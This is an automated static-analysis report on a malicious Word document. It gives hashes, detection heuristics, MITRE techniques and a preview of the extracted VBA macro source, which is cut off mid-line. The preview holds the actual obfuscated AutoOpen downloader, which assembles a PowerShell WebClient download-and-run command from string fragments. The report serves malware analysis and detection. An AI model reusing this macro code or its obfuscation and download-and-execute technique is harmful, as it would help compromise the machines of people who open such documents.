Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f53ec77d3d8da1a…

MALICIOUS

Office (OLE)

166.0 KB Created: 2017-11-27 10:26:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: 055424e88fe2ccfd9dd89996629b7d38 SHA-1: 28c58743db23279760bc1450bfdaaa997abddfba SHA-256: 9f53ec77d3d8da1ab1eb50b1fcf837bf06d53c52e2912ed1228975ff67649629
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening a document. The macro uses the Shell() function to execute a command that constructs and downloads a payload from the URL 'http://www.paykiadppE4XBKHJmK'. This indicates a downloader or droppper functionality.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 87323 bytes
SHA-256: 1a6268baafc001f03a9eab47f370c679df313967288900d77b6ee83a165f37e4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dvaSWEqwz"
Function HNINMOsJP()
BmhslYMz = Array(StrReverse(StrReverse("crlvvMwdhV")), StrReverse("cnkjPSvTaL"), StrReverse("vbwQUrYhZs"), StrReverse("CzPjvVpFDM"), StrReverse("zUOmuzatrs"), StrReverse("lpsioAtUaE"), StrReverse("oODoTcYAnu"), StrReverse("cqQOLbMLWX"))
mmLZVB = Mid("n7J084+FTVdTn/FTV+FTV,FTV+FTVhttp:'+'//wwwFTV+FTV.FTV+FTVpaykiadppE4XBKHJmK", 7, 55)
zMfAjpfjF = Array(StrReverse(StrReverse("lmKzZKzCwn")), StrReverse("hLDoRiPkjE"), StrReverse("iaTBdAzYBz"), StrReverse("NlNHjuwEHc"), StrReverse("tzRAHtYGnF"), StrReverse("CBokZKSJTY"), StrReverse("MbBwZwzwIW"), StrReverse("lLcHLhITtj"))
PQazdrAA = Array(StrReverse(StrReverse("QfpjHMGhvu")), StrReverse("bViwYlQaTR"), StrReverse("ZZFzQvYiWN"), StrReverse("oizDnIYXhG"), StrReverse("WqFsSGLRpZ"), StrReverse("KmrFzrZsPM"), StrReverse("ocKiGtYbKP"), StrReverse("MtsNviUNiJ"))
HIdshHTihFG = Array(StrReverse(StrReverse("fVjIMYkHic")), StrReverse("fYdtzqzdoI"), StrReverse("OjfJvjHujY"), StrReverse("kIVDGlcZfB"), StrReverse("mLXPFhowjf"), StrReverse("FlDlSwqaNc"), StrReverse("RqXGrXDanL"), StrReverse("OYznVCLPDO"))
aaDXwj = Mid("fAujTIK3DjSANksF7FTV+FTVh(Kwpabc in KwpbFTV+FTVcFTVWaTYE", 18, 34)
AkRluUumhBw = Array(StrReverse(StrReverse("jHowCBqsGw")), StrReverse("jjHUStjWlZ"), StrReverse("ijGZNQtiKO"), StrReverse("WLNFcjnNfF"), StrReverse("CfVOjjlXuB"), StrReverse("CwbFbzAOjm"), StrReverse("HMirZXSCsl"), StrReverse("GSqjWCOstj"))
rkzZws = Array(StrReverse(StrReverse("vKLETzEjlK")), StrReverse("vCLDjwnRXi"), StrReverse("dOJYQjnQPP"), StrReverse("kaWzhGfSns"), StrReverse("SUpcPLNuDY"), StrReverse("PusVljBmnm"), StrReverse("LoUVZVfMWd"), StrReverse("RUdfPJZjIF"))
tcPWzntv = Array(StrReverse(StrReverse("EoOUSBrRKA")), StrReverse("zpuPKRjLco"), StrReverse("MtvkjoHKFW"), StrReverse("PSlCBlGaTr"), StrReverse("swmhQMaiIq"), StrReverse("SrZMVLsili"), StrReverse("uhLnkiEsOZ"), StrReverse("KIrlwPHNTW"))
JUVnomiFuGF = Mid("1VCKzUW7FTV+FTVk;'+'}cFTV+FTVatch{wfSi+fSiritFTV+FTVe-host KwpFTV+FTV_.FTV+FTVExceptfSi+fSiiFTV+FTVoFTV+FTVn.F'+'TV+FTVMessage;}}FTV) -rfSi+fSiEfSiJ0t", 9, 139)
iRqQBPIqO = Array(StrReverse(StrReverse("TtMqAqiBOA")), StrReverse("EsfAjizTDu"), StrReverse("jAYaHuQMGc"), StrReverse("HUiiTSciVj"), StrReverse("mizVYZpcwl"), StrReverse("JFdNYSUmjF"), StrReverse("ZVvmsjNwhO"), StrReverse("CVwTHBDCBh"))
tKJjI = Array(StrReverse(StrReverse("NYBPEYtYhq")), StrReverse("scopwLkzwl"), StrReverse("HiTjfJznQF"), StrReverse("DfKOQVjwiM"), StrReverse("ljLYhiTBpl"), StrReverse("fIRiPfERku"), StrReverse("YGIbmMSaZa"), StrReverse("ioQjAbWvCz"))
iGLmqrw = Array(StrReverse(StrReverse("NQmMjUziGI")), StrReverse("EaESoSvOKB"), StrReverse("SDsfzJFOMH"), StrReverse("dhciVmticI"), StrReverse("IQSbKvqPGD"), StrReverse("iDiFXJYHMa"), StrReverse("PlWziXwVwB"), StrReverse("ZNmBsBlQVE"))
DTjWCLOzi = Mid("PbBijKqdJzCcSM9w8vZaphuas)FTV+FTfSi+fSiV;InFTV+FTVvFTV+FTVoke-IFTV+FT'+'VtemFTV+FTV(KwFTV+FTVphFTV'+AhSAQVORAaCYZ", 21, 80)
XOGLHQYQo = Array(StrReverse(StrReverse("pwzfavOczl")), StrReverse("ROLooiXjmU"), StrReverse("QtcPGqshhn"), StrReverse("IJPnEZIdBr"), StrReverse("wqanJQcbuV"), StrReverse("DnJhjwViYj"), StrReverse("DjuMdIwYjO"), StrReverse("VuhuVZSoGp"))
YnXqlBQ = Array(StrReverse(StrReverse("TqHIcaCWLL")), StrReverse("OmVCtWuTzn"), StrReverse("zUSFiQRcMV"), StrReverse("YIlIGYdNWE"), StrReverse("UbKknmsjIW"), StrReverse("HRThHwXCiM"), StrReverse("IaKpnGANvU"), StrReverse("shzsTVJiRr"))
jNKwYR = Array(StrReverse(StrReverse("bfdpjAEAjv")), StrReverse("faInsCGwVH"), StrReverse("ZDTbmIuSTO"), StrReverse("auMzMHlAiS"), StrReverse("HqLZqMnGZN"), StrReverse("jWiMmXMCCY"), StrReverse("FmjVVlOIbk"), StrReverse("RGNCzjstkZ"))
itjSFTQQb = Mid("8+fSit FTV+FTVSyFTV+FTVsFTV+FTVtem.Net.FTV+FTVWebClFTV+FTViFTV+FTVeFTV+FTVnt;FTV+FTVKwFTV+FTfSi+fSiVpnsadasd = new-obFTV+FTVject rFTV+FTVa'
... (truncated)

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